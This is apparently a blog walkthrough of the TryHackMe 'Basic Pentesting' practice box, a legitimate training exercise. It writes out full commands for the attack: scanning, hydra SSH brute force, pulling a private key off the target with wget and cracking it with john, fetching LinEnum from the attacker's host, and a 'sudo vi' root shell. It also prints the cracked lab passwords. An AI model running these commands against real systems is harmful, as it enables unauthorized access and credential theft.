TryHackMe — Basic Pentesting

This basic machine allows you to practice web app hacking and privilege escalation. It is part of the free TryHackMe boxes and designed to teach basic penetration techniques. At a high level, these techniques are as follows:

  • Brute forcing
  • Hash cracking
  • Service enumeration
  • Linux enumeration
  • Privilege escalation

I started by using sudo openvpn to connect to TryHackMe as was assigned a virtual IP. The target had an IP address of 10.10.34.1 and I was given one hour to complete the hack. And away we go!

I like to start my hacks by creating a folder for each box I hack. It helps me keep track of the boxes I’ve completed and allows me to save files and screenshots in one place. This not only helps me stay organized during my hacks (important when you’re on the clock), but it also makes these write ups much easier to complete after the fact.

I always enjoy a starting with a good one-liner, so I used mkdir basicpentesting && cd basicpentesting to create a new folder and change into it with one command. This will serve as home base for my reconnaissance and attacks from my Kali box.

An effective one-liner

Once I had completed this basic setup, I began enumerating services with map -A 10.10.34.1. This aggressive scan revealed several open ports, six in total. Ports 22, 80, 139, and 445 caught my eye. I made note of the following running services and their respective ports.

  • OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 running on port 22
  • Apache httpd 2.4.18 running on port 80
  • Samba smbd 3.X — 4.X running on port 139
  • Samba smbd 4.3.11-Ubuntu running on port 445
Aggressive nmap scan

Whenever I see port 80 open, I pull up the page in my browser and see what happens. It’s often a company website that offers insight. Sometimes it’s the default Apache page or a 403 Forbidden error. In a lot of cases there’s a hidden login page or other method of ingress to be found off the main site. Other times I find an email or contact form that can be exploited by checking the parameters being passed.

I visited 10.10.34.1 in my browser and received a message saying the site was undergoing maintenance. Interesting. What does that mean to me and how can I exploit it?

Please check back later… riiight… 🙄

That got me thinking that the developers might actively be working on the page. Perhaps I could find a clue in the page source. It’s a horrible practice, but sometimes devs are lazy, careless, or simply unaware of DevOps security best practices. If nothing else, it gives me a glimpse into what’s behind the page so I can look for other avenues and attack vectors.

In this case, a message was left for the devs to check the dev note section. That sounded highly promising. I made note of this in my records and continued my reconnaissance against the target box.

I *will* be checking your dev note section, thanks for the tip! ✔️

It was obvious there was a hidden folder somewhere off the main page based on this note. The question was how to find it. Since this exercise is not concerned with stealth and I do not need to worry about an IDS/IPS, I will use many methods in this hack to gain as much information as possible before committing my attack. These tools will likely produce similar results, but each one has their own benefits and will add clarity to the target as a whole. After all, the purpose of this box is to practice my skills and I intend to do just that… even if it is a bit overkill.

I started with gobuster -w /usr/share/dirb/wordlists/big.txt dir -u 10.10.34.1 to brute force URIs and map out the attack surface. Because Gobuster is brute force, it would likely be discovered of blocked by a WAF if I were concerned with such things. It is not exactly stealthy, especially if you use the big.txt file like I do. In this exercise it proved to be quite useful though in enumerating the /development URI as a possible target.

Go big.txt or go home… that’s what I say!

I also decided to run a recursive Dirsearch to see if I could find anything else. I used python3 ~/dirsearch/dirsearch.py -r -u 10.10.34.1 -w /usr/share/dirb/wordlists/big.txt. Unfortunately, it didn’t add anything new to my recon, but it did confirm there were no rogue PHP login or contact pages lying around I might have been able to exploit. Too bad.

Bummer

In the interest of learning everything about the system before penetrating it, I also decided to run a Nikto vulnerability scan with nikto -C all -h http://10.10.34.1. Again, this is not necessary but will give us a full picture to plan strategy before making our move. Nikto pointed out several additional vulnerabilities and also confirmed that /development was an interesting directory I should focus on.

Interesting

Once I had confirmed my destination, I visited 10.10.34.1/development and was pleasantly surprised. Two files were sitting out in the open, easily accessible to anyone who visited the page. Another poor decision by the devs. I’m starting to sense a pattern.

Here was the dev.txt file that had been mentioned in the page source and a j.txt file to check as well. Sweet! It’s and easy early win, but I’ll take it.

We all need an easy win sometimes

I opened the dev.txt file and viewed its contents. It appeared to be a series of messages between two developers with the initials K and J. They were discussing the work they were doing on the site and the software they had installed. It sounded like they were using some outdated and potentially vulnerable services. If so I will exploit them. That’s what I do.

They made reference to Apache Struts 2.5.12, as well Samba and Apache Web Server. I already know about some of these services from my earlier scans, but this confirmed I had options. Which service I would choose to exploit would depend on an analysis of the vulnerabilities. I made note of my discoveries and started investigating.

I’m sure that struts stuff *is* pretty cool… just like their web app

I also made sure to view the j.txt file. This appeared to be a message from K to J about the /etc/shadow file that really should be private. Again, someone needs to teach these devs some basic web security and cybersecurity acumen. Nevertheless, the mention of weak credentials had me chomping at the bit. I had to hurry before J got the message and changed their password.

Did someone say weak credentials??? 👀

Samba seemed like a logical first step, given its presence on both ports 139 and 445. The obvious choice was to use enum4linux to enumerate information from Samba, which I did with the command enum4linux -a 10.10.34.1. This returned a plethora of information, including password info like minimum length and lockout duration.

Starting to think security is entirely optional at this company

I made note of these lax security password policies and continued reviewing information until I came across two local usernames: kay and jan.

Bingo

This gave me two user names to work with on gaining access. If I could find their passwords, I could attempt an SSH connection and that would make life a lot easier for me.

I decided to start with jan. My reasoning behind this was I assumed they were the “J” mentioned in the not with a weak password I could brute force in less time. I used hydra -t 4 -l jan -P /usr/share/wordlists/rockyou.txt ssh://10.10.34.1 and grabbed a snack while I waited for it to complete. I used the infamous rockyou.txt file as the wordlist for the password. Eventually I was rewarded with Jan’s password which is armando.

Hail hydra!

Once I had Jan’s password it was time to ssh in to the target box and continue enumerating services. I used ssh jan@10.10.34.1 and entered the password armando when prompted. This successfully logged me in as Jan and I began to explore what all I had access to.

One down, one to go

After some exploration around the server, I was able to identify a folder for Kay in the home directory. I navigated there and used ls -la to view all contents, including hidden files and folders. I quickly noticed a password backup file and attempted to view it with cat pass.bak but received a “permission denied” error. Looks like only Kay has permission to read or write that file. Guess I have to hack Kay now.

If you insist 🤷

Since I need to be logged in as Kay to view the file, I turned my attention to the private keys stored in the .ssh folder. If I didn’t have Kay’s password, could I use their RSA private key to gain access instead and escalate privileges from there? Let’s find out!

I navigated to the hidden SSH folder and typed ls -la. I used cat id_rsa to view the file and confirm it was the RSA private key I was after.

Everyone has read access… perfect

Since I wanted to avoid installing john or other suspicious programs to the target box, I had to transfer the file back to my Kali box to crack it. I served the file up from the target machine with python -m SimpleHTTPServer 4444.

Serving up the file

Then I went back to my Kali box and entered wget 10.10.34.1:4444/id_rsa to download the file and used cat id_rsa to ensure it was correct.

Downloading the file

Cracking the RSA private key was a two step process. First I used python /usr/share/john/ssh2john.py id_rsa > hash.txt to create a text file of the hash that I could crack to find the passphrase for Kay’s private key.

Then I used john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt to crack the hash. That’s when I discovered Kay’s passphrase was beeswax.

Cracking hashes is my passion

Now that I had the passphrase for the private key, I could pair that with the SSH key itself and log in as Kay. First I needed to update the permissions on the id_rsa file with the command chmod 600 id_rsa. Anything lower than 600 and the private key will not work, while changing them to 777 will result in an error “WARNING: UNPROTECTED PRIVATE KEY FILE!”

Once that was done, I used ssh -i id_rsa kay@10.10.34.1 and provided the passphrase beeswax when prompted. This allowed me to SSH in directly as Kay from my Kali box and I was able to use cat pass.bak to view Kay’s actual password: heresareallystrongpasswordthatfollowsthepasswordpolicy$$.

Two down, root to go

In order to check for further vulnerabilities I used python -m SimpleHTTPServer 4444 on my Kali box and wget 10.9.0.141:4444/LinEnum.sh from the /tmp folder on the target machine to save the LinEnum script in the temporary folder. I like saving scripts in the temporary folder because they will be wiped when the machine resets. This is one way to help avoid detection and cover my tracks.

I changed permissions with chmod 777 LinEnum.sh before running the script with ./LinEnum.sh.

Wouldn’t want to get Kay in trouble

As luck would have it, Vim was running as root and was executable by anyone. Perfect. I knew exactly what to do to gain root from here.

Vim running as root? Sweet.

I typed sudo vi -c ‘!bash’ in the terminal and then entered Kay’s password of heresareallystrongpasswordthatfollowsthepasswordpolicy$$. The screen flashed momentarily as the system pulled up Vim and then executed the command for a bash shell. Because Vim is running as root, this shell is granted root privileges, and voila… box hacked! I am root!

Root all the things!

I hope you enjoyed reading this write up as much as I enjoyed doing it. Hacking this box was fairly simple and straightforward, but I really enjoyed seeing how many different tools I could try. I would definitely recommend this box to newcomers and anyone looking for a little practice.

Here’s a listing of some of the tools and commands I used in this hack:

  • nmap
  • gobuster
  • dirsearch
  • nikto
  • enum4linux
  • hydra
  • ssh
  • python
  • SimpleHTTPServer
  • wget
  • ssh2john
  • john
  • LinEnum
  • vim privilege escalation

--

--

--

Just a hackerman doing what hackermen do

Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

Hack The Box — The Secret of a Queen

Women in Cybersecurity: 6 Innovative and Inspirational Figures To Know About

Why security is imperative for Crypto Exchanges?

AWS privilege escalation: exploring odd features of the Trust Policy

Introducing MONKY — The Meme Token That Never Stop Pumping

New Feature | Compound now brings interest rates to your crypto in imToken 2.0

How I cracked My CISSP without experience.

Kafka Security Fundamentals — adding TLS to your event-driven utility belt!

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Count Zer0

Count Zer0

Just a hackerman doing what hackermen do

More from Medium

Offensive Security: Insanity Hosting Walkthrough

HackTheBox-Writer

TAXONOMY OF DDOS ATTACKS AND TOOLS

Top 5 Linux Distro for Ethical Hacking & Pentesting.

@Linux